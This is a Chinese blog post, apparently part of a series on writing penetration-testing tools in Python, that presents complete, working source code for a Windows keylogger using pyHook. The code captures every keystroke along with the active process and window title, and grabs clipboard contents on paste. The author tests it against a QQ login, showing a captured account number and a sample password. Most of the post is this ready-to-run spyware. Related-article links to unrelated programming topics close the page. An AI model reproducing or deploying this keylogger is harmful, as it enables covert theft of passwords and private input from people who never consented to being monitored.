Python编写渗透工具学习笔记一 | 0x07 Python实现键盘记录器

0x07 Python实现键盘记录器

这份代码比较经典,里面的注释也写的很详细,我也就直接放出来给大家一起学习一下。

简单说一说

我们定义了pyhook的hookmanager管理器,然后将我们自定义的回调函数keystroke与keydown事件进行了绑定。之后我们通过pyhook勾住了所有的按键事件,然后继续消息循环,当目标按下键盘上的一个键时,我们的keystroke函数就会被调用,它唯一的一个参数就是触发这个事件的对象。在这个函数中,我们要做的第一件事是检查用户是否切换了窗口,如果切换了窗口,我们需要重新获得当前窗口的名字及进程信息,然后,我们检查按键是否在可输出的ascii码范围之内,如果是的话,输出即可。如果按键是修饰键(如shift、ctrl、alt等)或其他非标准的按键,那么我们从时间的对象中提取按键的名称。我们还检查了用户是否在进行粘贴操作,如果是的话,我们提取剪贴板中的内容。我们的回调函数通过返回true来允许执行消息队列中的下一个hook事件。

测试一下:

我这里打开了一个记事本,然后输入了一些东西,然后我又打开了火狐浏览器,访问了baidu的页面并点击了其中一个连接,这些操作基本都被记录下来了

这里我还使用这个键盘记录器做了个有趣的小实验,打开qq输入账号密码登录,看看能不能记下账号密码,我发现这里的账号是可以记下来的,但是密码却不行,应该是qq客户端程序对这些键盘记录仪做过防御操作处理了。截图如下,我当时输入的账号是541766184

密码是 Admin123 (当然这里的密码是错误的,只是做个示范)

这个键盘记录仪会记录下其他字符,这些字符并不是我输入的,而且当我停下不输入的时候,会发现这个键盘记录仪还在不断的记录一些我没按过的按键,这些应该都是qq客户端做过的防记录处理。

工具源码:

#-*- coding:utf8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
    # 获取前台窗口句柄
    hwnd = user32.GetForegroundWindow()
    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    # 保存当前进程ID
    process_id = "%d" % pid.value
    # 申请内存
    executable = create_string_buffer("\x00" * 512)
    # 打开进程
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    # 获取进程所对应的可执行文件的名字
    psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print
    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
def keyStore(event):
    global current_window
    # 检查目标是否切换了窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # 若输入为[CTRL-V],则获取剪切板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 返回直到下一个钩子事件被触发
    return True
# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
#
k1.KeyDown = keyStore
# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2017-12-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏青玉伏案

iOS开发之再探多线程编程:Grand Central Dispatch详解

Swift3.0相关代码已在github上更新。之前关于iOS开发多线程的内容发布过一篇博客,其中介绍了NSThread、操作队列以及GCD,介绍的不够深入。今...

1977
来自专栏北京马哥教育

python线程笔记

豌豆贴心提醒,本文阅读时间5分钟 来源:伯乐在线 原文:http://python.jobbole.com/87498/ 引言&动机 考虑一下...

3285
来自专栏Java后端技术

Linux的Bash Shell详解

  1.什么是bash           bash是Bourne Again Shell的简称,是从unix系统中的sh发展而来的,是用户和Linux内核交互...

1034
来自专栏技术博客

C#简单的面试题目(六)

76.HashMap和Hashtable的区别。 答:HashMap是Hashtable的轻量级实现(非线程安全的实现),他们都完成了Map接口,主要区别在于H...

882
来自专栏java一日一条

115个Java面试题和答案——终极列表(下)

第一篇讨论了面向对象编程和它的特点,关于Java和它的功能的常见问题,Java的集合类,垃圾收集器,本章主要讨论异常处理,Java小应用程序,Swing,JDB...

931
来自专栏同步博客

浅谈PHP异常处理

  PHP中的异常的独特性,即PHP中的异常不同于主流语言C++、java中的异常。在Java中,异常是唯一的错误报告方式,而在PHP中却不是这样,而是把所有不...

1383
来自专栏PPV课数据科学社区

PyCharm 2016.3 公开预览版发布

PyCharm 2016.3 公开预览版发布了,PyCharm是一种Python IDE,带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具,比...

2654
来自专栏菩提树下的杨过

java学习:eclipse + Weblogic 12c + svn 集成开发环境搭建

网上有很多文章都说eclipse要安装额外的插件才能支持weblogic,可能以前需要这样,但自从bea的weblogic被oracle收购后,现在已经很简单了...

3119
来自专栏我和PYTHON有个约会

Django来敲门~第一部分【9.使用Django内置视图处理对象简化开发】

首先,要说这是Django基础部分的最后一个章节了。后面会详细讲解Django每一部分的使用方式和API了

1193
来自专栏农夫安全

代码审计入门总结

0x00 简介 ---- 之前看了seay写的PHP代码审计的书,全部浏览了一遍,作为一个代码审计小白,希望向一些和我一样的小白的人提供一下我的收获,以及一个整...

3537

扫码关注云+社区

领取腾讯云代金券